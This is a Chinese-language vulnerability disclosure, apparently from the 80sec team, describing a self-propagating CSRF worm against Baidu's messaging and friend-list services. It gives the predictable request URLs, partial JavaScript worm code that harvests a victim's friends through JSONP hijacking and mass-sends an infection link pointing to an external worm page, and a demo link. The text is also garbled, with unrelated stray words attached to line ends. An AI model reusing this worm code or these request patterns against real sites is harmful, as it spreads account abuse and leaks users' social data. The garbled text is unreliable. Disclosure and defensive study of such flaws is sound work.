漏洞原由:百度是國內最大的中文搜索引擎。同時百度也提供了百度空間、百度貼吧等BLOG社區服務,擁有海量的用戶羣,號稱全球最大中文社區。 80sec發現過百度產品一系列的安全漏洞,其中一些問題獲得了有效的修補,可是百度的產品仍然存在不少嚴重的安全漏洞,利用這些漏洞黑客能夠製做Web 蠕蟲,影響百度全部的用戶。php
CSRF worm技術分析:html
一. 百度用戶中心短消息功能存在CSRF漏洞
百度用戶中心短消息功能和百度空間、百度貼吧等產品相互關聯,用戶能夠給指定百度ID用戶發送短消息,在百度空間用互爲好友的狀況下,發送短消息將沒有任 何限制,同時因爲百度程序員在實現短消息功能時使用了$_REQUEST類變量傳參,給黑客利用CSRF漏洞進行攻擊提供了很大的方便。百度用戶中心短消 息功能的請求參數可以被徹底預測,只須要指定sn參數爲發送消息的用戶,co參數爲消息內容,就能夠成功發送短消息,以下:程序員
http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用戶帳號&co=消息內容web
該漏洞在07年被應用於80SEC測試的百度XSS WORM中,至今還沒有修補。json
二. 百度空間好友json數據泄露問題安全
百度空間的好友功能數據是使用json格式實現的,此接口沒有作任何的安全限制,只需將un參數設定爲任意用戶帳號,就能夠得到指定用戶的百度好友數據,以下服務器
http://frd.baidu.com/?ct=28&un=用戶帳號&cm=FriList&tn=bmABCFriList&callback=gotfriends函數
該漏洞能夠直接被Javascript劫持技術利用,獲取用戶的好友信息.測試
三. 百度認證問題網站
web攻擊不可避免地依賴於系統的認證,而在百度的認證系統裏,全部認證基於SESSION,這樣在IE裏就不會被IE的隱私策略阻止,會話認證信息每次都會被髮送出去,爲咱們蠕蟲的傳播提供了必要的條件。
四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm
CSRF攻擊結合Javascript劫持技術徹底能夠實現CSRF worm,百度產品的這兩個安全問題爲實現Web蠕蟲提供了全部的條件,80Sec團隊已經編寫出一隻完整的百度csrf蠕蟲,這是一隻徹底由客戶端腳本 實現的CSRF蠕蟲,這隻蠕蟲實際上只有一條連接,受害者點擊這條連接後,將會自動把這條連接經過短消息功能傳給受害者全部的好友,由於百度用戶基數很 大,因此蠕蟲的傳播速度將會呈幾何級成長,下面對csrf蠕蟲部分代碼進行分析:
1. 模擬服務端取得request的參數
var lsURL=window.location.href;
loU = lsURL.split(「?」);
if (loU.length>1)
{
var loallPm = loU[1].split(「&」);
省略…………….
定義蠕蟲頁面服務器地址,取得?和&符號後的字符串,從URL中提取得感染蠕蟲的用戶名和感染蠕蟲者的好友用戶名。
2. 好友json數據的動態獲取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(‘<script src=」http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);
經過CSRF漏洞從遠程加載受害者的好友json數據,根據該接口的json數據格式,提取好友數據爲蠕蟲的傳播流程作準備。
3. 感染信息輸出和消息發送的核心部分
evilurl=url+」/wish.php?from=」+lusername+」&to=」;
sendmsg=」http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]」
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+」&」+i;
eval(‘x’+i+’=new Image();x’+i+’.src=unescape(「‘+mysendmsg+’」);’);
省略…………….
整個蠕蟲最核心的部分,按照蠕蟲感染的邏輯,將感染者用戶名和須要傳播的好友用戶名放到蠕蟲連接內,最後輸出短消息內容,使用一個FOR循環結構歷遍全部好友數據,經過圖片文件請求向全部的好友發送感染連接信息。
4. 注意細節
因爲須要動態加載json數據運行,因此必須注意各個函數執行的前後順序,不然json數據還未加載完畢,蠕蟲核心部分的流程將跑不起來。
5. CSRF Worm DEMO頁
這裏咱們提供了一個百度CSRF Worm DEMO頁僅供你們進行安全測試,非安全測試的其餘行爲,80SEC將不負任何責任。測試方法:
將to參數設置爲本身的用戶名,登錄百度後點擊連接或直接進入頁面
http://www.80sec.com/wish.php?to=本身的百度用戶名
五 CSRF worm安全提醒:
除開百度,國內的社區類、Web2.0類網站如校內網、Myspace、飯否等都存在這類安全問題,黑客能夠直接經過CSRF攻擊配合各類功能應用 針對網站進行CSRF worm攻擊,網站能夠參考http://www.80sec.com/csrf-securit.html文檔中的安全提醒作進一步的防範。